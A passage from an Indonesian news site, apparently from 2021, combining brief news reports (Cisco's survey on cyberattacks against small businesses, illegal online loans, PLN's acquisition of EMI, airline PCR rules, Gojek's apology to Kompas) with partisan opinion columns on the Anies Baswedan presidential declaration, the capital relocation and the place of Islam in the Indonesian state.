perhatian. Akhirnya Muncul Deklarasi Adalah La Ode Basir bersama 6 kawan lainnya, yang bisa jadi tidak tahan melihat langgam yang dimainkan Anies itu. Bergerak bak halilintar, menggebrak dengan deklarasi "Anies for Presiden", di Gedung Joang, Cikini, Jakarta Pusat pada Rabu (20/10). Kelompoknya itu menamakan diri Aliansi Nasional Indonesia Sejahtera, disingkat ANIES. Deklarasi Anies Rasyid Baswedan for Presiden, itu dilakukan seakan tanpa perlu kulo nuwun pada Pak Anies. Tanpa banyak cingcong langsung action. La Ode Basir dan kawan-kawan, seakan tidak mau tertinggal dari relawan yang muncul lebih dulu mengusung Ganjar Pranowo, Gubernur Jawa Tengah. Tegasnya, "Kami anak-anak muda dari berbagai komponen siap mendukung Anies Rasyid Baswedan (menjadi) Presiden 2024." Katanya lagi, bahwa ia dan kawan-kawannya akan berkeliling Indonesia untuk menggaungkan Anies for Presiden, jelas La Ode Basir penuh semangat. Langkah La Ode Basir dan kawan-kawannya itu semacam gerakan fait accompli melawan sikap "hati-hati" dari Anies Baswedan dalam berpolitik. Anak-anak muda itu tampak tidak serantan melihat sikap jagoannya yang masih bermain pada tataran normatif: Maju kotanya dan bahagia warganya. Mereka ingin lebih dari itu, dan mencoba dengan caranya bergerak pada apa yang diyakininya. Anak-anak muda itu sedang mempersiapkan karpet merah untuk bisa dipijak Anies Baswedan pada waktunya. Adakah Dalangnya? Siapa sebenarnya La Ode Basir itu. Tidak banyak yang tahu. Tapi setidaknya nama itu pernah muncul sebagai relawan saat Anies Rasyid Baswedan dan Sandiaga Salahuddin Uno maju pada Pilkada DKI Jakarta, 2017. Ia juga mantan Pengurus Pusat Dewan Masjid, yang diketuai H. Jusuf Kalla (JK). Konon ia juga bekerja di PT Bosowa, perusahaan milik keluarga JK. Tidak salah jika orang lalu menggatuk-gatukkan, bahwa La Ode Basir itu orangnya JK. Karenanya, Deklarasi Anies Baswedan for Presiden, itu lantas dihubungkan dengan JK, itu hal yang wajar. Itu karena hubungan Anies dan JK yang sudah dibangun sejak lama. Konon, yang mengajak Anies sebagai jubir pasangan Jokowi-JK pada Pilpres 2014, itu adalah JK. Dan karenanya, Anies diganjar sebagai Menteri Pendidikan dan Kebudayaan, meski tidak lama ia dicopot Jokowi dengan alasan tidak jelas. Pencopotan Anies yang tentu mengecewakan Wapres JK. Tapi nasib mengantarkan Anies di tempat lain yang lebih pas. Ia akhirnya menjadi Gubernur DKI Jakarta, mengalahkan petahana Basuki Tjahaja Purnama (Ahok). Pilkada paling keras yang masih menyisakan gesekan cukup dalam, bahkan terasa hingga kini. Jika saat itu tampil La Ode Basir sebagai relawan pada Pilkada DKI Jakarta (2017), maka kehadirannya di sana bisa jadi juga atas "kemauan" JK. Ada tangan dan andil JK di sana. Maka, jika JK pun ada di balik deklarasi Anies for Presiden, itu pun benang merahnya nyambung, dan sah-sah saja. Sebagaimana orang bisa menghubungkan deklarasi relawan Ganjar Pranowo, yang dimotori juga para relawan yang saat itu memenangkan Jokowi-Ma'ruf Amien (2019). Sah-sah saja jika orang lalu menghubungkan, bahwa ada Presiden Jokowi di balik Deklarasi Relawan Ganjar Pranowo. Bunyi-bunyian menuju 2024 sudah ditabuh, dan masing-masing menjagokan jagoannya. Tidak ada yang salah dengan kehadiran para relawan yang ambil inisiatif dengan deklarasi segala. Mempersiapkan jauh hari, agar pada saatnya publik mengenal dan memilih pasangan yang dihadirkan dengan baik. Kerja-kerja relawan mesti terukur, dan diharap bisa menaikkan elektabilitas jagoannya. Dengan demikian akan muncul lamaran partai-partai untuk mengusungnya sebagai kandidat Capres/Cawapres. Jalan menuju pencapresan masih panjang, dan memilih mempersiapkan jauh hari itu langkah yang semestinya, setidaknya itu yang dilakukan para relawan dengan deklarasi untuk jagoannya. Kita lihat saja efektifitas kerja-kerja mereka itu. Memang waktu yang menilainya. (*) *) Kolumnis

Polres Tanjungpinang Mulai Selidiki Pinjaman Online Ilegal

Tanjungpinang, FNN - Kepala Polres Tanjungpinang, AKBP Fernando, mengaku sudah menginstruksikan jajarannya untuk menyelidiki usaha pinjaman online ilegal di ibu kota Provinsi Kepulauan Riau itu. "Saya sudah perintah kepala Satuan Reskrim menyelidiki di lapangan," kata dia, Jumat. Hal itu, kata dia, sesuai perintah Kepala Kepolisian Indonesia, Jenderal Polisi Listyo S Prabowo, terkait maraknya bisnis pinjol ilegal di Indonesia saat ini. Di Jakarta, sebagai misal, pengelola dan operator pinjaman online ilegal juga sudah ada yang ditangkap polisi. "Kalau kami temukan pinjol ilegal di Tanjungpinang, akan ditindak tegas," ujarnya. Lanjut dia sampai sejauh ini pihaknya memang belum menemukan daftar pinjol ilegal yang beroperasi di Tanjungpinang. "Laporan korban terjerat pinjol ilegal juga belum ada," imbuhnya. Ia meminta agar masyarakat proaktif melapor jika menjadi korban atau menemukan adanya aktivitas pinjol ilegal di Kota Gurindam itu. Ia turut mengimbau warga tidak tergiur pinjol ilegal dengan iming-iming, misalnya proses pencairan pinjaman yang lebih cepat. "Pastikan pinjol itu resmi berizin OJK, totalnya daftarnya ada 124. Kalau di luar itu, berarti pinjol ilegal dan bodong," ucap dia. Ia menegaskan, pinjaman online ilegal sangat merugikan masyarakat, karena bunganya jauh melebihi bunga bank resmi, sehingga bisa merusak kondisi keuangan rumah tangga masyarakat. "Jadi, jangan sampai terjerumus pinjol ilegal, sangat berbahaya," katanya. (mth)

UKM Dibayangi Bahaya Serangan Siber

Jakarta, FNN - Riset dari Cisco menunjukkan usaha kecil menengah (UKM) di Indonesia dibayangi ancaman serangan siber, setelah banyak dari mereka yang berjualan secara dalam jaringan akibat pandemi. "Selama 18 bulan terakhir, UKM telah memanfaatkan teknologi agar bisa tetap beroperasi dan melayani pelanggan mereka, bahkan saat mereka sedang menangani dampak dari pandemi," kata Direktur Cisco Indonesia, dalam keterangan pers, dikutip Jumat. Langkah para pelaku UKM ini mempercepat digitalisasi usaha kecil di Indonesia. Tapi, mereka juga menjadi sasaran empuk penjahat siber sebab UKM yang sudah mengadopsi teknologi digital menghasilkan dan menyimpan banyak data. Survei Cisco berjudul "Cybersecurity for SMBs: Asia Pacific Businesses Prepare for Digital Defense menunjukkan ada banyak cara penjahat siber mencoba menyusup ke sistem UKM di Asia Pasifik Sebanyak 80 persen UKM yang menjadi responden lebih khawatir tentang serangan siber dibandingkan 12 bulan lalu. Sementara 81 persen UKM mengaku pernah mengalami serangan siber setahun belakangan Kondisi di Indonesia, 29 persen UKM yang mengalami serangan siber menyatakan alasan mereka menjadi sasaran adalah karena tidak memiliki solusi keamanan siber yang memadai. Terdapat 21 persen UKM yang mengalami serangan siber tidak memiliki solusi keamanan pada sistem mereka. Serangan siber tidak hanya berdampak pada keamanan, namun, juga bisnis UKM. Sebanyak 43 persen UKM yang menjadi korban serangan siber merugi sekitar 500.000 dolar Amerika Serikat. Bahkan 12 persen mengeluarkan biaya lebih dari 1 juta dolar AS. Serangan siber juga menyebabkan mereka kehilangan data karyawan (63 persen), email internal (62 persen), informasi sensitif (60 persen) dan informasi keuangan (54 persen). Serangan siber ada kalanya menyebabkan situs mereka tidak bisa diakses atau downtime. Sebanyak 18 UKM di Indonesia mengaku downtime kurang dari satu jam bisa menyebabkan gangguan operasional yang parah. Kejadian yang paling buruk, 9 persen UKM mengatakan downtime selama satu hari bisa berakibat bisnis mereka tutup permanen. Kabar baiknya, semakin banyak UKM yang sadar bahaya serangan siber dan berusaha meningkatkan kekuatan mereka. Riset yang sama menunjukkan 84 persen UKM Indonesia melakukan perencanaan skenario atau simulasi mewaspadai serangan siber selama 12 bulan terakhir. Sebanyak 74 persen UKM di Indonesia meningkatkan investasi untuk keamanan siber sejak pandemi. UKM juga meningkatkan investasi di berbagai bidang seperti alat penyesuaian dan pemantauan, talenta, pelatihan dan asuransi. Hal tersebut menunjukkan pemahaman mereka semakin kuat bahwa membangun pondasi keamanan siber yang kuat memerlukan integrasi dari beberapa hal. (mth)

Gubernur Jatim Imbau Santri Jadi Penguat dan Motor Penggerak Ekonomi

Surabaya, FNN - Gubernur Jawa Timur Khofifah Indar Parawansa mengimbau santri menjadi bagian dari penguatan sekaligus motor penggerak roda perekonomian bangsa dan dunia. "Jiwa kewirausahaan itu harus ditanamkan dan dipraktikkan. Itulah makna membangkitkan wirausaha di kalangan santri, pesantren, dan sosio-pesantren," ujarnya di sela Upacara Peringatan Hari Santri Nasional 2021 di Gedung Negara Grahadi di Surabaya, Jumat. Sesuai tema "Santri Siaga Jiwa dan Raga", kata dia, santri harus selalu siaga menyerahkan jiwa raga membela Tanah Air, mempertahankan persatuan Indonesia dan ikut membantu mewujudkan perdamaian dunia. Gubernur perempuan pertama di Jatim itu menyampaikan bahwa membela Tanah Air bisa diwujudkan dengan menguatkan kemandirian ekonomi pribadi para santri maupun alumni yang memiliki jiwa kewirausahaan. "Karena itu, Hari Santri ini jadikan sebagai awal membangkitkan jiwa kewirausahaan bagi santri, pesantren, maupun sosio-pesantren," ucap Khofifah. Orang nomor satu di Pemprov Jatim tersebut menjelaskan bahwa fenomena yang terjadi saat ini di skala internasional adalah daya saing ekonomi. Setiap negara, lanjut Khofifah, melakukan lompatan besar untuk menguatkan sektor ekonomi dan yang memiliki pondasi kuat di bidang itu, ditambah berbasis kualitas sumber daya manusia atau tidak semata sumber daya alam maka hampir dipastikan akan menguasai sektor lainnya. Kepada para santri, Gubernur juga berpesan bahwa saat ini yang dihadapi sebagai musuh adalah kemiskinan sehingga harus bersama-sama berjuang memerdekakannya. "Dulu perangnya melawan datangnya agresi militer Belanda II, tapi kini harus menjadikan kemiskinan sebagai masa lalu dan menatap kesejahteraan sebagai masa depan. Itulah semangat santri siaga jiwa dan raga," kata mantan menteri sosial tersebut. Sementara itu, pelaksanaan upacara digelar secara langsung maupun virtual yang diikuti ratusan peserta dari santri perwakilan beberapa pondok pesantren di Jawa Timur. Upacara Hari Santri merupakan kali pertama digelar di Grahadi dan pada kesempatan tersebut seluruh petugasnya adalah para santri, kemudian peserta maupun undangan diwajibkan memakai sarung serta berpeci. Turut hadir Wakil Gubernur Jatim Emil Elestianto Dardak, para pejabat Forkopim. (mth)

PLN Resmi Akuisisi EMI Dukung Pengembangan Energi Baru Terbarukan

Jakarta, FNN - PT PLN (Persero) resmi mengakuisisi PT Energy Manajement Indonesia (EMI) menjadi anak usahanya sebagai perusahaan jasa energi yang bertujuan mendukung pengembangan energi baru terbarukan dan dekarbonisasi. "Kami menempatkan target pengembangan EMI sebagai Energy Service Company nasional pilihan konsumen se-Asia Tenggara," kata Direktur Utama PLN Zulkifli Zaini dalam konferensi pers yang dipantau di Jakarta, Jumat. Integrasi PLN dengan EMI telah diatur dalam Peraturan Pemerintah Nomor 65 Tahun 2021 tentang Penambahan Penyertaan Modal Negara ke dalam Modal Saham Perseroan PLN. Pada 9 September 2021, Kementerian Hukum dan HAM telah menerbitkan keputusan terkait perubahan anggaran dasar EMI, sehingga secara legal menjadi anak perusahaan PLN. Zulkifli menjelaskan bahwa EMI akan mendukung inisiatif dekarbonisasi menuju ekonomi hijau di Indonesia sekaligus merealisasikan Rencana Umum Energi Nasional (RUEN) yang telah ditetapkan pemerintah. PLN memiliki target dekarbonisasi sebesar 117 juta ton karbon dioksida sampai tahun 2025. Perseroan berkomitmen untuk mencapai target tersebut melalui pembangunan pembangkit energi baru terbarukan sebesar 5 GW pada 2024, peningkatan co-firing biomassa pada PLTU dengan target 1,8 GW tahun 2025, dan penggantian pembangkit diesel dengan energi terbarukan sebesar 0,6 GW. Dalam pelaksanaan dekarbonisasi tersebut, EMI akan turut dan berkontribusi sebesar 3,29 juta ton karbon dioksida. Selain itu, EMI akan berperan dalam dekarbonisasi 4,19 juta ton karbon dioksida di luar PLN. "Sebagai Energy Service Company, EMI akan berperan membantu pemerintah pusat dan daerah, BUMN, pengusaha swasta, UMKM maupun masyarakat," ujar Zulkifli. EMI akan bertugas dalam menyusun kebijakan dan master plan, menyusun solusi engineering untuk konservasi, mengembangkan energi baru terbarukan skala kecil, dan perencanaan serta implementasi solusi terkini infrastruktur bisnis dan ritel yang ramah lingkungan. Dengan bergabungnya EMI sebagai anak perusahaan PLN, Zulkifli berharap bahwa akan tercapai empat sasaran utama, yaitu energi EMI dengan PLN, peningkatan kapasitas dan kapabilitas, ekspansi bisnis konservasi ke pasar eksternal, dan penciptaan nilai keseluruhan ekosistem energi nasional. PLN memproyeksikan EMI akan memperoleh pendapatan sebesar Rp8 triliun pada 2025 atau secara akumulatif sevesar Rp13 triliun dengan keberhasilan transformasi sebagai perusahaan jasa energi terkemuka di Indonesia. "Kami sampaikan permohonan dukungan dari seluruh stakeholder bagi EMI untuk mewujudkan visi zebagai Energy Service Company nasional dan pilihan konsumen Asia Tenggara untuk mempercepat program dekarbonisasi nasional menuju ekonomi hijau Indonesia," ucap Zulkifli. (mth)

DPR Minta Pemerintah Jelaskan Kewajiban PCR Bagi Penumpang Pesawat

Jakarta, FNN - Ketua DPR RI Puan Maharani meminta pemerintah menjelaskan kepada masyarakat terkait Instruksi Menteri Dalam Negeri (Inmendagri) Nomor 53 Tahun 2021 yang mewajibkan semua penumpang penerbangan melaksanakan tes polymerase chain reaction (PCR) 2x24 jam. "Beberapa hari ini banyak masyarakat bersuara karena bingung dengan aturan baru PCR sebagai syarat semua penerbangan ini. Masyarakat mempertanyakan kenapa dalam kondisi pandemi COVID-19 di Indonesia yang semakin membaik, tapi justru tes perjalanan semakin ketat," kata Puan dalam keterangannya di Jakarta, Kamis. Puan mempertanyakan kenapa dahulu ketika COVID-19 belum selandai sekarang, justru tes antigen dibolehkan sebagai syarat penerbangan. Menurut dia, kalau sekarang harus tes PCR karena hati-hati, lalu apakah berarti ketika tes antigen dibolehkan, masyarakat sedang tidak atau kurang hati-hati. "Pertanyaan-pertanyaan dari masyarakat seperti ini harus dijelaskan secara terang benderang oleh pemerintah," ujarnya. Puan menjelaskan, tes PCR seharusnya digunakan hanya untuk instrumen pemeriksaan bagi "suspect" COVID-19. Dia mengingatkan, fasilitas kesehatan di Indonesia belum merata dan akan semakin menyulitkan masyarakat yang hendak bepergian dengan transportasi udara. "Masyarakat juga bertanya-tanya mengapa PCR dijadikan metode 'screening', padahal PCR alat untuk diagnosa COVID-19. Dan perlu diingat, tidak semua daerah seperti di Jakarta atau kota-kota besar yang tes PCR bisa cepat keluar hasilnya," katanya. Dia meminta pemerintah mendengarkan keluhan masyarakat yang menilai aturan terbaru terkait syarat penerbangan menodai prinsip keadilan. Puan mengatakan, jika memang alasan kebijakan mobilitas diperbaharui karena semakin luasnya pembukaan operasional sektor sosial kemasyarakatan, maka seharusnya berlaku untuk semua moda transportasi. "Tapi di aturan terbaru, syarat perjalanan bagi transportasi darat, laut, dan kereta api masih tetap memperbolehkan tes antigen 1x24 jam. Kebijakan yang tidak merata dan terkesan ada diskriminasi, harus dijelaskan pemerintah," ujarnya. Karena itu menurut dia, pemerintah perlu memberikan penjelasan kepada masyarakat terkait kewajiban tes PCR bagi pelaku perjalanan udara. Syarat perjalanan dari Inmendagri tersebut diatur lebih rinci melalui Surat Edaran (SE) nomor 21 tahun 2021 yang dikeluarkan Satgas COVID-19 dan SE Kementerian Perhubungan (Kemenhub) Nomor 21 Tahun 2021 tentang Ketentuan Perjalanan Orang Dalam Negeri pada Masa Pandemi COVID-19. Dalam aturan yang mulai berlaku hingga 1 November 2021, surat keterangan hasil negatif tes PCR maksimal 2x24 jam sebelum keberangkatan menjadi syarat wajib perjalanan dari dan ke wilayah Jawa-Bali serta di daerah yang masuk kategori PPKM level 3 dan 4. Untuk luar Jawa-Bali, syarat ini juga ditetapkan bagi daerah dengan kategori PPKM level 1 dan 2, namun tes antigen masih tetap berlaku dengan durasi 1x24 jam. Sebelumnya, pelaku penerbangan bisa menggunakan tes antigen 1x24 jam dengan syarat calon penumpang sudah divaksin lengkap. (sws, ant)

Rezim Radikal

Oleh Sugengwaras Pengajuan RUU IKN oleh Presiden Joko Widodo ke DPR RI terkait Rencana Pemindahan Ibu Kota Negara Baru ke Panajam Kalimantan Timur adalah indikasi pemerintahan radikal, karena belum tuntasnya kesimpulan pendapat publik / rakyat untuk menyetujui wacana ini, namun tetap ngotot dan bersikeras untuk melanjutkan proyek ini. Soal perlu pindahnya Ibu Kota Negara dari Jakarta barangkali masih bisa dipahami karena adanya beberapa kendala yang menghambat untuk mendukung kemajuan bangsa, namun penentuan lokasi pemindahan ke kota Panajam Kalimantan Timur yang masih menjadi pembahasan terkait struktur dan kultur tanah Panajam dan sekitarnya, kondisi keuangan dan beban hutang negara saat ini, pergeseran sarana prasarana dan personil yang mengawaki serta pertimbangan pertimbangan lain seperti perlunya kota kota penyangga di sekitar Ibu Kota dan sarana prasarana pendukung dalam bidang ekonomi dan pendidikan serta kelangsungan hidup sehari hari. Pasti ada plus minusnya dalam pemindahan ini, mamun dari beberapa pertimbangan di atas, nampaknya keadaan lebih mengarah kepada mudaratnya dibanding manfaatnya. Dikawatirkan hanya nafsu ambisi dan ketergantungan ke pihak lain yang mendorong pemerintah kebelet banget mengesahkan RUU menjadi UU, dimana menjadi lebih berat langkah langkah hukum yang akan dilalui rakyat nantinya dalam melaksanakan pemikiran / tuntutanya. Pertanyaannya, kenapa dan ada apa rezim begitu bernafsu untuk ini? Pasti akan muncul jawaban yang terbaik hingga terburuk. Terbaiknya, bahwa secara suasana akan membawa kesegaran baru, secara sempit akan memberikan kesan bahwa rezim ini adalah rezim yang menuliskan sejarah baru. Terburuknya adalah adanya konspirasi, kerja sama jahat dengan asing, aseng, terhadap masa depan dan nasib bangsa, karena adanya proyek proyek yang tidak pro rakyat bahkan akan menyengsarakan rakyat, seperti RUU BPIP / HIP yang menyelewengkan Pancasila, UU Omnibus Law yang lebih memberdayakan Cina dari pada bangsa sendiri, proyek kereta api cepat yang sangat paradok dengan kepentingan rakyat yang nyaris semuanya mengandalkan hutang negara yang sangat membebani generasi mendatang. Dengan kata lain, hampir seluruh proyek proyek ini sangat kontradiktif dengan cita cita para leluhur pendiri bangsa, yang ingin terus meningkatkan kecerdasan dan kesejahteraan rakyat. Lebih ironis karena dalam kehidupan berbangsa dan bernegara cenderung memporak porandakan persatuan dan kesatuan bangsa, terutama dalam kerukunan hidup beragama dan bernegara. Kebohongan, kegaduhan ketidak adilan dan penyelewengan hukum secara fulgar dipertontonkan sehari hari dengan mengedepankan TNI POLRI sebagai garda terdepan dan benteng terakhir rezim. Nampaknya segala upaya baik dari rakyat ditanggapi dengan wes ewes dan preett... Dan tampaknya rezim sengaja menantang dan menunggu nunggu gerakan rakyat yang menuntut kembali kedaulatan ditangan rakyat, dengan cara PEOPLE POWER secara masal dan serentak yang tepat Komando dan tepat momentum untuk menyikapi ini. *) Purnawirawan TNI AD

Terowongan Bawah Tanah Melaka - Sumatera Diperbincangkan di Senat

Kuala Lumpur, FNN - Usulan pembuatan terowongan kereta api bawah tanah yang menghubungkan Negara Bagian Melaka, Malaysia dan Pulau Sumatera diperbincangkan kembali dalam rapat senat atau Dewan Negara Malaysia di Kuala Lumpur, Kamis. Perbincangan terjadi saat Wakil Menteri Luar Negeri Malaysia, Kamarudin Jaffar menanggapi pertanyaan Senator Muhammad Zahid Md Arip dari Partai Pribumi Bersatu Malaysia (Bersatu). Muhammad Zahid Md Arip menyampaikan supaya mempertimbangkan proyek terowongan kereta api bawah tanah yang menghubungkan Melaka dan Sumatera dan seterusnya membangkitkan rencana tersebut dalam perbincangan antara perdana menteri dan Presiden Joko Widodo. Pada kesempatan tersebut Kamaruddin mengatakan sebagai dua negara bertetangga yang dekat, Malaysia tetap berkomitmen untuk memperkukuh dan memperluaskan jalinan hubungan dan kerjasama bilateral dengan Republik Indonesia ke tahap yang lebih komprehensif. "Dalam hal ini, Kementerian Luar Negeri menghormati semua usaha yang mampu menyumbang kepada pertumbuhan dan kemakmuran kedua negara dan regional, termasuk rencana untuk mewujudkan jalinan pengangkutan dan interkoneksi di antara Malaysia dan Indonesia. Jalinan pengangkutan ini berpotensi memberi dimensi baru dalam dinamik ekonomi, pelancongan dan interaksi di antara rakyat kedua negara," katanya. Namun demikian, ujar dia, proyek infrastruktur berskala mega seperti yang telah direncanakan beberapa kali sebelum ini akan semestinya datang dengan tantangan-tantangan tersendiri dari sudut keselamatan, sosio-ekonomi negara maupun ancaman kepada alam sekitar. "Oleh karena itu rencana untuk membangun infrastruktur pengangkutan yang menghubungkan Malaysia dan Indonesia memerlukan analisis biaya yang jitu, kajian secara menyeluruh dan penelitian yang mendalam dari pelbagai aspek sebelum dapat dilaksanakan," katanya. Dia mengatakan perundingan dengan pihak Indonesia dalam membincangkan proyek infrastruktur pengangkutan ini juga seharusnya dilaksanakan secara strategik dan terencana. (sws, ant)

Mereduksi Islam, Menuju Kepunahan NKRI

Oleh: Yusuf Blegur Atas berkat rahmat Allah Yang Maha Kuasa dan dengan didorongkan oleh keinginan luhur, supaya berkehidupan kebangsaan yang bebas, maka rakyat Indonesia dengan ini menyatakan kemerdekaannya". Maklumat itu, sepertinya tidak menjadi landasan yang penting dan prinsip bagi negara dan bangsa. Jangankan menghidupi rakyat Indonesia (muslim) dengan Al Quran dan sunah. Rakyat kebanyakan yang pasrah bersama pemimpin yang serakah. Justru menghirup nafas dan keyakinan yang meniadakan Allah Yang Maha Kuasa. Bertolak belakang dari mukadimah UUD 1945 yang menjadi esensi konstitusi negara tersebut. Dengan beragam modus seperti kapitalisme dan komunisme. Eksis namun bengis dalam tampilan oligarki, otokrasi, tirani, anti demokrasi, korupsi dsb. Bagaimanapun semua itu, substansinya merupakan karakter yang sama-sama resisten pada agama dan apriori terhadap Tuhan. Terusik oleh itu dan menjadi kegelisahan tersembunyi. Apakah Indonesia kini diambang kehancuran total atau menuju kebangkitan Islam? Sebagai sebuah negara yang kelahirannya tidak bisa dipisahkan dari Islam. Bahkan pada saat sebelum dan sesudah meraih kemerdekaan. Indonesia tumbuh dan berkembang dengan Islam sebagai kekuatan utama yang menopangnya. Tanpa mengabaikan peran agama, ideologi dan entitas politik lainnya. Islam saat itu merupakan agama yang radikal dan fundamental bukan hanya dalam ranah dakwah atau syiar semata. Melainkan Islam juga menjadi gerakan progressif revolusioner dalam tataran sosial, ekonomi dan politik. Islam kemudian lebih bermetamorfosis menjadi gerakan kebangsaan. Lewat organisasi perserikatan dagang, perkumpulan diskusi dan pendidikan cikal bakal pesantren. Para ulama, santri dan pemimpin intelektual Islam, melebur bersama elemen bangsa lainnya menggelorakan semangat cinta tanah air. Lewat laskar-laskar pejuang organisasi Islam dan kesadaran perlawanan rakyat menyeluruh. Nasionalisme dan tuntutan kemerdekaan Indonesia dengan segala tumpah darah dan nyawa dalam upaya mempertahankannya. Berkumandang seantero republik dengan kepeloporan para Ulama, pemimpin organisasi pergerakan dan tentara rakyat. Resolusi jihad dalam mengusir penjajahan menjadi ruh 'dus' amunisi perjuangan mewujudkan Indonesia merdeka yang adil dan makmur. Gema takbir "Allahu Akbar" dan "merdeka atau mati, menjadi jiwa sekaligus saksi sejarah yang tidak bisa dihilangkan dari sejarah NKRI. *Rapuhnya Konsensus Nasional* Pasca kesepakatan Piagam Jakarta yang menggagalkan penerapan syariat Islam dalam sistem kenegaraan. Sejatinya Negara Indonesia seperti mengalami anti klimaks. Kultur dan natur rakyat nusantara yang dominan berbasis Islam setidaknya dalam kuantitas dan sebaran populasi menurut wilayah. Mengalami proses reduksi dan eliminasi dalam konstruksi negara. Kompromi politik yang sengit karena faktor akomodasi dari eksistensi suku, agama dan ras. Kebhinnekaan dan kemajemukan bangsa tak bisa dihindari mematahkan semangat "objectif gigeven" masyarakat religius. Struktur sejarah, gerakan perlawanan kolonialisme-imperialisme dan kepeloporan menginisiasi kelahiran negara kebangsaan Indonesia, yang muncul dari rahim dan identitas Islam. Tergerus seiring narasi Panca Sila, UUD 1945 dan NKRI memasung doktrin, faham, ajaran dan ideologi lain du negeri ini. Mirisnya dalam sepanjang perjalanan, Panca Sila dikhianati. UUD 1945 dikebiri. NKRI dimutilasi. Termasuk syariat Islam atau khilafah. Belum lahir sudah diaborsi. Dengan digdayanya sistem kapitalis dan komunis yang menjadi induk semang dan mewajah baru kolonialime dan imperialisme dunia. Sepanjang kelahiran Indonesia hingga kekinian. Negara dan rakyat Indonesia terasa nyaman menjadi lahan subur bagi berkembang biaknya liberalisasi dan sekulerisasi (moderasi aliran rasional, naturalis dll) dalam segala lini kehidupan. Cara berpikir, berkata dan bertindak cenderung kontradiktif dari semangat dan nilai Islam. Sistem politik yang memisah relasi agama dengan negara. Bukan saja menempatkan Islam pada posisi marginal, meski sebagai rakyat mayoritas. Islam menjadi asing, bagi umat penganutnya dan di negeri sendiri. Sistem Negara berangsur-angsur secara halus merampok dan memperkosa keyakinan agama rakyatnya. Negara seperti kacang lupa pada kulitnya. Negara mengingkari bahwasanya Islam merupakan alasan kelahiran dan mewujudnya Indonesia. Selain menghadirkan penjajahan klasik di era modern. Negara penuh sesak oleh praktek-praktek oligarki dan otokrasi. Korupsi, kolusi, nepotisme dan pelbagai watak penindasan terhadap rakyat. Maraknya kenyataan yang tidak ideal, justru menjadi representasi wajah kekuasaan. Kekuasaan dari trah kolonialisme dan imperialisme lama, namun mengalami 'renasaince' di era modern. Sekumpulan yang segelintir dari birokrasi, politisi dan korporasi yang membajak negara. Perilaku kekuasaan yang dulu ditentang karena ingin memperjuangkan negeri yang merdeka, adil dan makmur bernama Indonesia. Indonesia kini, dengan kesadaran krisis dan kesadaran makna atau tidak sama sekali. Ada kepedulian atau pura-pura tidak tahu. Terus melakukan pembiaran ataupun dengan gugatan. Mengadakan aksi perlawanan maupun lebih memilih bersekongkol. Apapun kekacauan keadaannya sekarang. Sudah dalam posisi yang sangat membahayakan. Seperti penyakit, ia berada dalam kondisi akut dan kritis. Tidak cukup sekedar diagnosa, harus ada langkah kongkrit penyelamatan. Kekuatan Islam yang perlahan dilumpuhkan, mencerminkan realitas semua kerusakan itu. Menjadi titik balik dari keberadaan dan eksistensi Indonesia saat ini dan masa depan. Apakah kekuatan Islam di negeri ini terus menjadi korban dari eksploitasi kejahatan negara dan kekuatan global. Ataukah Islam bangkit di negeri yang spiritualitas dengan kehidupan rakyatnya tercerai-berai. Terutama saat Tuhan dihadirkan dalam wujud harta dan tahta. Uang dan kekuasaan menjadi sesembahannya. Mungkinkah kebangkitan umat Islam bersama kebangkitan Indonesia?. Atau kehilangan ghiroh umat Islam seiring kehilangan NKRI?. Entah dari orang dalam kekuasaan yang eling. Entah revolusi rakyat yang akan melahirkan pemimpinnya sendiri. Mungkin juga jalan keselamatan bagi negeri ini menjadi hak prerogatif Allah Yang Maha Kuasa. Seiring bergulirnya waktu dan dalam keadaan yang sedemikian rupa. Rakyat Indonesia khususnya umat Islam, harus kembali kepada nilai-nilai Islam dan menegakkan aqidahnya. Ada baiknya sebagai bagian strategis dari sebuah negara bangsa Indonesia, kaum muslim menengok satu wahyu Allah azza wa jalla. Seperti yang tertuang dalam al Quran pada irisan surat Ar-Ra'd : 11. إِنَّ اللهَ لَا يُغَيِّرُ مَا بِقَوْمٍ حَتَّى يُغَيِّرُوا مَا بِأَنْفُسِهِمْ Innallaaha laa yughayyiru maa biqaumin hattaa yughayyiruu maa bi anfusihim. yang artinya: "Sesungguhnya Allah tidak mengubah keadaan sesuatu kaum sehingga mereka mengubah keadaan yang ada pada diri mereka sendiri." In syaa Allah, dengan memaknai dan menginsyafinya. Indonesia tak akan terbenam. Seperti kata Ebiet Gunung Ade, "mumpung kita masih diberi waktu". Wallahu a'lam bish-shawab. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari

Pelesetkan KOMPAS Menjadi SOMPLAK Gojek Minta Maaf

Jakarta, FNN - Gosend salah satu layanan yang dimiliki oleh perusahaan teknologi Gojek Indonesia meminta maaf usai menggunakan visual Harian Kompas sebagai plesetan dalam salah satu materi promosinya di media sosial. Permintaan maaf itu disampaikan melalui akun media sosial instagram mereka @gosendindonesia. “Kami memohon maaf kepada seluruh keluarga Harian Kompas atas ketidaknyamanan yang ditimbulkan terhadap munculnya konten promosi dari salah satu produk kami di media sosial," seperti dikutip dari akun instagram @gosendindonesia, Rabu. Pernyataan lantas menyebutkan bahwa konten tersebut telah dihapus. "Di saat yang sama kami juga telah menyampaikan permohonan maaf secara langsung kepada Harian Kompas. Ke depan kami terus melakukan kurasi lebih ketat terhadap berbagai bentuk promosi ke publik sehingga pesan yang ingin disampaikan Gosend dapat diterima dengan baik oleh seluruh khalayak." Sebelumnya, akun instagram @gosendindonesia sempat mengunggah materi promosi yang seakan mengambil visual dari surat kabar Harian Kompas. Materi promosi itu dinilai menyinggung dan juga tidak memenuhi kaidah etika media karena telah memelesetkan nama pemberian Presiden RI Soekarno dari KOMPAS menjadi SOMPLAK. Usai menuai kritikan dari beragam kanal media sosial, @gosendindonesia pun menghapus materi promosi tersebut dan segera menyampaikan permintaan maaf pada Harian Kompas. Harian Kompas merupakan salah satu surat kabar nasional di Indonesia yang telah ada sejak 1965. Nama “Kompas” pun diberikan langsung oleh Presiden Soekarno kepada salah satu pendiri Harian Kompas yaitu Frans Seda. Kompas akhirnya dipilih dengan harapan dapat memberikan arah dan jalan dalam mengarungi lautan atau rimba sesuai pengertian yang diberikan oleh Bapak Proklamator Indonesia itu. (sws, ant).

LADI Menunggak Biaya Uji Sampel ke Qatar

